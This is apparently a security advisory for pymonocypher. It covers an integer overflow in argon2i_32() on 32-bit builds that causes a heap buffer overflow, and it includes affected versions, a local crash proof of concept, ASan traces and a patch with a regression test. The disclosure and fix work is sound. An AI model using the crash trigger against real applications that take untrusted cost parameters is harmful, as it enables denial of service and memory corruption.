On builds where size_t is 32 bits, argon2i_32() computes the size of the Argon2 work area as nb_blocks * 1024 in size_t, and the product wraps for nb_blocks >= 2**22. malloc is then asked for a much smaller buffer (8 KiB for nb_blocks = 2**22 + 8), while crypto_argon2() still fills about nb_blocks blocks of 1 KiB (it rounds the count down to a multiple of 4). Whenever that small allocation succeeds, the result is a heap buffer overflow (write). The three such cases I ran ended in a segmentation fault, where a caller would expect MemoryError. For some values the wrapped size is itself too large (for example nb_blocks = 2**32 - 1); then malloc fails and the call raises MemoryError.
The scope is narrow:
linux_armv6l and linux_armv7l wheels for the affected releases.nb_blocks is normally a constant chosen by the developer, and a request for 4 GiB or more cannot succeed on a 32-bit platform anyway. An application is exposed only if it passes an nb_blocks value that it does not control (for example a cost parameter read from a stored record or a file header) without capping it below 2**22. I did not find a public project that does this. Without such a caller this is a robustness fix, and the severity below is conditional on one existing.GHSA-8f95-v3jq-cj86 was about the same buffer and the same parameter. It covered nb_blocks < 8; this report covers large values. The lower-bound check added for that advisory (90ff5b1) and the NULL check added in 4.0.3.2 (e6b933a) are both present in 4.0.3.5, and neither covers the multiplication.
Everything was run on linux/386 (Docker image i386/python:3.12: CPython 3.12.16, GCC 14.2.0, glibc 2.41, 32-bit userland on an x86_64 kernel). Each release was built from its PyPI sdist with pip install --no-binary pymonocypher pymonocypher==<version>. The call is argon2i_32(2**22 + 8, 1, b'password', b'somesalt').
| Version | How checked | Result |
|---|---|---|
4.0.3.5 (latest release, sdist sha256 b6f96c4fa56212a7c13aee8fc27a89d7531b622ce8aabbd6e82a9d2e93071d71) |
run, plain and ASan builds | SIGSEGV; ASan: heap-buffer-overflow, WRITE |
main at fca8485 (4.0.3.6, unreleased) |
run | SIGSEGV |
| 4.0.3.4, 4.0.3.2, 4.0.2.8 | run | SIGSEGV |
| 4.0.2.4 | run, plain and ASan builds | SIGSEGV; ASan: heap-buffer-overflow, WRITE |
| 4.0.3.3, 4.0.3.1, 4.0.3.0, 4.0.2.7, 4.0.2.6, 4.0.2.5 | source only, not run | same allocation line in the tag |
| 4.0.2.3, 4.0.2.2, 4.0.2.1 | run | not reachable: argon2i_32 raises AttributeError: 'dict' object has no attribute 'nb_block' for every input |
| 3.1.3.6 | run | not affected: OverflowError |
That gives >= 4.0.2.4, <= 4.0.3.5. The casts arrived in 3851366 (4.0.2.2). Before that the line was malloc(nb_blocks * 1024), which multiplies Python integers and raises OverflowError when the result does not fit size_t, as 3.1.3.6 still does. ASan confirms the out-of-bounds write on 4.0.3.5 and 4.0.2.4. For the other versions I ran, the evidence is the SIGSEGV together with the identical allocation line.
64-bit builds are not affected: nb_blocks is at most 2**32 - 1, so the product fits.
It was not run a 32-bit ARM build. The piwheels wheel pymonocypher-4.0.3.5-cp313-cp313-linux_armv7l.whl (sha256 3196726fa0ec746d77111c836d04d26a034ab5b2b0564ff3a5775b7fb7e2291b) was the only thing looked at in a disassembler: the extension is a 32-bit ARM ELF, and argon2i_32 has lsl r0, r0, #10 directly before bl malloc.
c_monocypher.pyx at fca8485 (the file differs from the v4.0.3.5 tag only in the version string):
418: config.nb_blocks = nb_blocks
422: if config.nb_blocks < (config.nb_lanes * 8):
423: raise ValueError(f'nb_blocks must be >= {config.nb_lanes * 8}, got {config.nb_blocks}')
438: work_area = malloc((<size_t> nb_blocks) * (<size_t> 1024))
439: if work_area == NULL:
440: raise MemoryError('argon2i_32 work_area allocation failed')
443: crypto_argon2(hash, <uint32_t> len(hash), work_area, config, inputs, extras)
The sdist ships the generated C instead of the .pyx. In the 4.0.3.5 sdist the allocation is c_monocypher.c:8012-8013:
__pyx_t_6 = __Pyx_PyLong_As_size_t(__pyx_v_nb_blocks); if (unlikely((__pyx_t_6 == (size_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 438, __pyx_L1_error)
__pyx_v_work_area = malloc((((size_t)__pyx_t_6) * ((size_t)0x400)));
Line 418 accepts any nb_blocks up to 2**32 - 1, and line 422 is the only range check on the block count. With a 32-bit size_t the allocation at line 438 is (nb_blocks * 1024) mod 2**32 bytes:
nb_blocks |
malloc argument |
Result on 4.0.3.5 (glibc 2.41) |
|---|---|---|
2**22 - 1 |
4 GiB - 1 KiB, no wrap | malloc fails, MemoryError |
2**22 |
0 | malloc(0) returns a pointer, overflow from the first block |
2**22 + 8 |
8 KiB | overflow from block 8 |
2**23 + 100 |
100 KiB | overflow from block 100 |
2**32 - 1 |
4 GiB - 1 KiB after the wrap | malloc fails, MemoryError |
crypto_argon2 rounds config.nb_blocks down to a multiple of 4 and treats work_area as that many blocks of 1024 bytes (monocypher.c:754-759). It fills them in ascending order: blocks 0 and 1 at monocypher.c:783, the rest at monocypher.c:890. ASan stops at the first write past the allocation. Without ASan each of the three overflow cases ended in SIGSEGV.
The PoC is local and only calls argon2i_32. Each case runs in a subprocess so that a crash does not stop the script. On a 64-bit build it runs the two controls and skips the rest, because there the large cases would really allocate 4 GiB or more.
poc.py:
"""pymonocypher argon2i_32: work-area size wraps when size_t is 32 bits.
Each case runs in a fresh subprocess so that a crash does not stop the script.
On a 64-bit build only the controls run: there the product nb_blocks * 1024 is
exact and the large cases would really allocate 4 GiB or more.
"""
import ctypes
import platform
import signal
import subprocess
import sys
import monocypher
SIZE_T_BITS = ctypes.sizeof(ctypes.c_size_t) * 8
print("pymonocypher", monocypher.__version__,
"| python", sys.version.split()[0],
"| compiler", platform.python_compiler(),
"| libc", "-".join(platform.libc_ver()),
"| machine", platform.machine(),
"| size_t bits", SIZE_T_BITS)
print("extension:", monocypher.__file__)
CASES = [
("control: nb_blocks=8", "8", False),
("control: nb_blocks=2**32 (does not fit uint32_t)", "2**32", False),
("nb_blocks=2**22-1 (4 GiB - 1 KiB, no wrap)", "2**22 - 1", True),
("nb_blocks=2**22 (size wraps to 0)", "2**22", True),
("nb_blocks=2**22+8 (size wraps to 8 KiB)", "2**22 + 8", True),
("nb_blocks=2**23+100 (size wraps to 100 KiB)", "2**23 + 100", True),
("nb_blocks=2**32-1 (size wraps to 4 GiB - 1 KiB)", "2**32 - 1", True),
]
ASAN_KEEP = ("ERROR: AddressSanitizer", "WRITE of", "READ of", "located", "SUMMARY")
def describe(returncode):
if returncode < 0:
return f"rc={returncode} ({signal.Signals(-returncode).name})"
return f"rc={returncode}"
for desc, expr, only_32bit in CASES:
if only_32bit and SIZE_T_BITS != 32:
print(f"{desc:52s} skipped: size_t is {SIZE_T_BITS} bits")
continue
code = ("import monocypher\n"
"try:\n"
f" h = monocypher.argon2i_32({expr}, 1, b'password', b'somesalt')\n"
" print('returned', h.hex()[:16])\n"
"except Exception as e:\n"
" print(type(e).__name__ + ':', e)\n")
try:
r = subprocess.run([sys.executable, "-c", code], capture_output=True, text=True, timeout=300)
except subprocess.TimeoutExpired:
print(f"{desc:52s} TIMEOUT after 300 s")
continue
print(f"{desc:52s} {describe(r.returncode)} {r.stdout.strip()}")
for line in r.stderr.splitlines():
s = line.strip()
if any(k in s for k in ASAN_KEEP) or s.split(" ")[0] in ("#0", "#1", "#2", "#3") or "allocated by" in s:
print(" " + s)
In an i386/python:3.12 container:
python -m venv /opt/pypi-4.0.3.5
/opt/pypi-4.0.3.5/bin/pip install --no-cache-dir --no-binary pymonocypher "pymonocypher==4.0.3.5"
/opt/pypi-4.0.3.5/bin/python poc.py
Output on 4.0.3.5 (machine x86_64 is the kernel; the process is 32-bit):
pymonocypher 4.0.3.5 | python 3.12.16 | compiler GCC 14.2.0 | libc glibc-2.41 | machine x86_64 | size_t bits 32
extension: /opt/pypi-4.0.3.5/lib/python3.12/site-packages/monocypher.cpython-312-i386-linux-gnu.so
control: nb_blocks=8 rc=0 returned cbf2bce47e6d2399
control: nb_blocks=2**32 (does not fit uint32_t) rc=0 OverflowError: Python int too large to convert to C unsigned long
nb_blocks=2**22-1 (4 GiB - 1 KiB, no wrap) rc=0 MemoryError: argon2i_32 work_area allocation failed
nb_blocks=2**22 (size wraps to 0) rc=-11 (SIGSEGV)
nb_blocks=2**22+8 (size wraps to 8 KiB) rc=-11 (SIGSEGV)
nb_blocks=2**23+100 (size wraps to 100 KiB) rc=-11 (SIGSEGV)
nb_blocks=2**32-1 (size wraps to 4 GiB - 1 KiB) rc=0 MemoryError: argon2i_32 work_area allocation failed
For the ASan run I built the same sdist with the sanitizer and preloaded its runtime, because CPython itself is not instrumented:
python -m venv /opt/pypi-4.0.3.5-asan
CFLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer" LDFLAGS="-fsanitize=address" \
/opt/pypi-4.0.3.5-asan/bin/pip install --no-cache-dir --no-binary pymonocypher "pymonocypher==4.0.3.5"
LD_PRELOAD=/usr/lib/i386-linux-gnu/libasan.so.8 ASAN_OPTIONS=detect_leaks=0:symbolize=1:allocator_may_return_null=1 \
/opt/pypi-4.0.3.5-asan/bin/python poc.py
ASan output for nb_blocks = 2**22 + 8 (the script prints the first four frames of each stack):
nb_blocks=2**22+8 (size wraps to 8 KiB) rc=1
==18==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf2f16100 at pc 0xf67a36eb bp 0xfff3e478 sp 0xfff3e46c
WRITE of size 8 at 0xf2f16100 thread T0
#0 0xf67a36ea in copy_block /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/monocypher.c:680
#1 0xf67a36ea in crypto_argon2 /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/monocypher.c:890
#2 0xf676387d in __pyx_pf_10monocypher_16argon2i_32 /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/c_monocypher.c:8075
#3 0xf676387d in __pyx_pw_10monocypher_17argon2i_32 /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/c_monocypher.c:7654
0xf2f16100 is located 0 bytes after 8192-byte region [0xf2f14100,0xf2f16100)
allocated by thread T0 here:
#0 0xf7977627 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0xf676374d in __pyx_pf_10monocypher_16argon2i_32 /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/c_monocypher.c:8013
#2 0xf676374d in __pyx_pw_10monocypher_17argon2i_32 /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/c_monocypher.c:7654
#3 0xf674a2f6 in __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/c_monocypher.c:20170
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/monocypher.c:680 in copy_block
The allocation frame is c_monocypher.c:8013 and the write is monocypher.c:890, 0 bytes after the 8192-byte region. For nb_blocks = 2**22 the region is 1 byte (ASan's malloc(0)) and the write is at monocypher.c:783.
Expected behavior: an exception, as for 2**22 - 1.
A out-of-bounds heap write followed by a crash of the calling process was demonstrated. ASan reports the write past the end of the work area, and the plain builds die with SIGSEGV in the three small-allocation cases (2**22, 2**22 + 8, 2**23 + 100). Anything beyond the crash was not demonstrated or attempted.
Attacker requirements:
size_t.nb_blocks value that the attacker can influence to argon2i_32 and does not cap it below 2**22.Applications that keep nb_blocks below 2**22, or run on 64-bit builds, are not affected.
Reject the request before malloc when nb_blocks * 1024 does not fit size_t. The patch raises MemoryError, which is what the function already raises one step below the threshold (nb_blocks = 2**22 - 1) and when the allocation fails. It also sizes the allocation from config.nb_blocks, the value crypto_argon2 uses, so the Python argument is converted once. On 64-bit builds SIZE_MAX // 1024 is larger than any uint32_t, so nothing changes there.
Patch against fca8485, with a regression test and a changelog line:
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 19ef506..0119f06 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -9,6 +9,9 @@ This file contains the list of changes made to pymonocypher.
2026 Oct 19 [in progress, unreleased]
* Added build-backend to pyproject.toml.
+* Fixed `argon2i_32()` work area size overflow on platforms with a
+ 32-bit `size_t`: `nb_blocks >= 2**22` now raises `MemoryError`
+ instead of allocating a wrapped size.
# 4.0.3.5
diff --git a/c_monocypher.pyx b/c_monocypher.pyx
index 8fab5af..7fa8c60 100644
--- a/c_monocypher.pyx
+++ b/c_monocypher.pyx
@@ -5,7 +5,7 @@ Monocypher is an easy to use, easy to deploy, auditable crypto library
written in portable C.
"""
-from libc.stdint cimport uint8_t, uint32_t, uint64_t
+from libc.stdint cimport uint8_t, uint32_t, uint64_t, SIZE_MAX
from libc.stdlib cimport malloc, free
import secrets
import warnings
@@ -435,7 +435,10 @@ def argon2i_32(nb_blocks, nb_iterations, password, salt, key=None, ad=None, _wip
extras.ad_size = _validate_u32('ad', len(ad))
hash = bytes(32)
- work_area = malloc((<size_t> nb_blocks) * (<size_t> 1024))
+ if config.nb_blocks > SIZE_MAX // 1024:
+ # nb_blocks * 1024 does not fit in size_t (32-bit platforms)
+ raise MemoryError(f'argon2i_32 work_area too large: nb_blocks={config.nb_blocks}')
+ work_area = malloc((<size_t> config.nb_blocks) * (<size_t> 1024))
if work_area == NULL:
raise MemoryError('argon2i_32 work_area allocation failed')
diff --git a/test/test_monocypher.py b/test/test_monocypher.py
index 1a3226c..4ce8031 100644
--- a/test/test_monocypher.py
+++ b/test/test_monocypher.py
@@ -11,6 +11,7 @@ import os
import json
import warnings
import secrets
+import sys
MYPATH = os.path.abspath(os.path.dirname(__file__))
@@ -343,6 +344,13 @@ class TestMonocypher(unittest.TestCase):
with self.assertRaises(ValueError):
monocypher.argon2i_32(8, 0, b'password', b'saltsalt')
+ @unittest.skipUnless(sys.maxsize < 2**32, 'requires a 32-bit size_t')
+ def test_argon2i_32_work_area_size_overflow(self):
+ # nb_blocks * 1024 must not wrap around a 32-bit size_t
+ for nb_blocks in [2**22, 2**22 + 8, 2**32 - 1]:
+ with self.assertRaises(MemoryError):
+ monocypher.argon2i_32(nb_blocks, 1, b'password', b'saltsalt')
+
def test_argon2i_32_bytes_password_not_wiped(self):
password = b'hunter22'
monocypher.argon2i_32(8, 1, password, b'saltsalt')
The test is skipped on 64-bit builds, where the wrap cannot happen and the same arguments would request 4 GiB or more.
Results with the patch:
poc.py on fca8485 with the patch:pymonocypher 4.0.3.6 | python 3.12.16 | compiler GCC 14.2.0 | libc glibc-2.41 | machine x86_64 | size_t bits 32
extension: /opt/fix/lib/python3.12/site-packages/monocypher.cpython-312-i386-linux-gnu.so
control: nb_blocks=8 rc=0 returned cbf2bce47e6d2399
control: nb_blocks=2**32 (does not fit uint32_t) rc=0 OverflowError: Python int too large to convert to C unsigned long
nb_blocks=2**22-1 (4 GiB - 1 KiB, no wrap) rc=0 MemoryError: argon2i_32 work_area allocation failed
nb_blocks=2**22 (size wraps to 0) rc=0 MemoryError: argon2i_32 work_area too large: nb_blocks=4194304
nb_blocks=2**22+8 (size wraps to 8 KiB) rc=0 MemoryError: argon2i_32 work_area too large: nb_blocks=4194312
nb_blocks=2**23+100 (size wraps to 100 KiB) rc=0 MemoryError: argon2i_32 work_area too large: nb_blocks=8388708
nb_blocks=2**32-1 (size wraps to 4 GiB - 1 KiB) rc=0 MemoryError: argon2i_32 work_area too large: nb_blocks=4294967295
Fatal Python error: Segmentation fault at test_monocypher.py, line 352 (pytest exit code 139). On the patched build the whole suite passes, 43 passed.MemoryError lines and no sanitizer report.Until a fixed release is available, a caller on a 32-bit build can reject nb_blocks >= 2**22 before calling argon2i_32.
{
"cwe_ids": [
"CWE-190",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-04T21:51:37Z",
"nvd_published_at": "2026-12-02T20:20:39Z",
"severity": "LOW"
}